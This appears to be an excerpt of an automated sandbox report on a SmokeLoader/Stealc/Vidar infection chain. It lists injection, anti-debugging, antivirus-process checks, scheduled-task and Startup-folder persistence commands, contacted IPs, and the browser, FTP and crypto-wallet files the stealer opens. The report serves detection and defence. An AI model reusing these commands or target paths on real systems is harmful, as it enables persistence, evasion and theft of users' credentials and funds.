Source: explorer.exe, 00000001.00000000.1704715234.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, DFA6.exe, 0000001A.00000003.2420328030.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, DFA6.exe, 0000001A.00000002.2423280675.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000A5D000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: svchost015.exe, 0000001D.00000002.2618548795.00000000009FE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: explorer.exe, 00000001.00000000.1705270958.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000000.1703368759.0000000007A34000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1702194356.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1704715234.0000000009660000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1702194356.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh System information queried: CodeIntegrityInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Process queried: DebugPort Jump to behavior
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E945D5 BlockInput, 25_2_00E945D5
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E35240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 25_2_00E35240
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E55CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 25_2_00E55CAC
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_00406312 GetModuleHandleA,LoadLibraryA,GetProcAddress, 7_2_00406312
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00840D90 mov eax, dword ptr fs:[00000030h] 0_2_00840D90
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0084092B mov eax, dword ptr fs:[00000030h] 0_2_0084092B
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089BC5D push dword ptr fs:[00000030h] 0_2_0089BC5D
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_006A092B mov eax, dword ptr fs:[00000030h] 3_2_006A092B
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_006A0D90 mov eax, dword ptr fs:[00000030h] 3_2_006A0D90
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00859A55 push dword ptr fs:[00000030h] 3_2_00859A55
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E788CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 25_2_00E788CD
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 25_2_00E4A385
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4A354 SetUnhandledExceptionFilter, 25_2_00E4A354
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C86B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 29_2_6C86B66C
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C86B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 29_2_6C86B1F7
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 29_2_6CA1AC62
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: ewggbbh.1.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 94.228.169.44 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 191.191.224.16 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 92.36.226.66 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 84.32.84.144 443 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: DFA6.exe PID: 1396, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory allocated: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Code function: 26_2_0301A090 NtAllocateVirtualMemory,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64GetThreadContext,Wow64SetThreadContext,ResumeThread,ExitProcess, 26_2_0301A090
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Thread created: C:\Windows\explorer.exe EIP: 31319B0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Thread created: unknown EIP: 31719B0 Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Memory written: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe base: 350000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000 value starts with: 4D5A
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section unmapped: C:\Users\user\AppData\Local\Temp\svchost015.exe base address: 400000
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Memory written: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe base: 350000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Memory written: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe base: 571000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 41E000
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 42B000
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 63E000
Contains functionality to execute programs as a different user
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E79369 LogonUserW, 25_2_00E79369
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E35240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 25_2_00E35240
Contains functionality to simulate keystroke presses
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E81AC6 SendInput,keybd_event, 25_2_00E81AC6
Contains functionality to simulate mouse events
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E851E2 mouse_event, 25_2_00E851E2
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Teach Teach.bat & Teach.bat & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 795933 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "tagsnegotiationthreadadobe" Literature Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Church + ..\Activity + ..\Yahoo + ..\Census + ..\Mario + ..\Postcards + ..\Vessel + ..\Vhs + ..\Maps + ..\Convenience + ..\Comment + ..\Shift z Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Burn.pif z Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process created: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Cheese" /tr "wscript //B 'C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js'" /sc minute /mo 5 /F Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr" "C:\Users\user\AppData\Local\SwiftTech Solutions\w"
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr" "C:\Users\user\AppData\Local\SwiftTech Solutions\w"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftserve.url" & echo url="c:\users\user\appdata\local\swifttech solutions\swiftserve.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftserve.url" & exit Jump to behavior
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E788CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 25_2_00E788CD
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E84F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 25_2_00E84F1C
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C4D000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000000.2216453971.00000000006D6000.00000002.00000001.01000000.00000007.sdmp, SwiftServe.scr, 00000019.00000000.2240164533.0000000000ED6000.00000002.00000001.01000000.0000000A.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: RegAsm.exe, 0000001F.00000002.4107921007.00000000026DE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.4107921007.0000000002728000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.4121284717.00000000059C0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000001.00000000.1702415655.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1704715234.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1703220670.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1702415655.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: RegAsm.exe, 0000001F.00000002.4107921007.00000000026DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program ManagerTe^q@
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002642000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program ManagerCA2365E7EDCE48"
Source: explorer.exe, 00000001.00000000.1702194356.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1702415655.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1702415655.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: }Program Manager
Source: RegAsm.exe, 0000001F.00000002.4107921007.00000000026DE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.4107921007.0000000002728000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.4107921007.000000000268E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program ManagerTe^q
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4885B cpuid 25_2_00E4885B
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe VolumeInformation
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E60030 GetLocalTime,__swprintf, 25_2_00E60030
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E60722 GetUserNameW, 25_2_00E60722
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E5416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte, 25_2_00E5416A
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_0040681B GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW, 7_2_0040681B
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
AV process strings found (often used to terminate AV products)
Source: RegAsm.exe, 0000001F.00000002.4105752238.00000000008F0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected CryptOne packer
Source: Yara match File source: 0000001A.00000002.2426601330.0000000003019000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected SmokeLoader
Source: Yara match File source: 00000003.00000002.1937857892.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1937904210.00000000007B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1712546480.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1712222757.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 0000001D.00000002.2618548795.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: svchost015.exe PID: 708, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: svchost015.exe PID: 708, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: Electrum
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Electrum\wallets\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000046A000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: Jaxx Desktop (old)
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: exodus.conf.json
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ElectrumLTC
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000046A000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \jaxx\Local Storage\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: passphrase.json
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Ethereum\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: Exodus
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000046A000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: file__0.localstorage
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: svchost015.exe, 0000001D.00000002.2614164343.00000000005AD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000046A000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: MultiDoge
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: seed.seco
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: keystore
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Electrum-LTC\wallets\
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\*.*j?
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Tries to steal Mail credentials (via file / registry access)
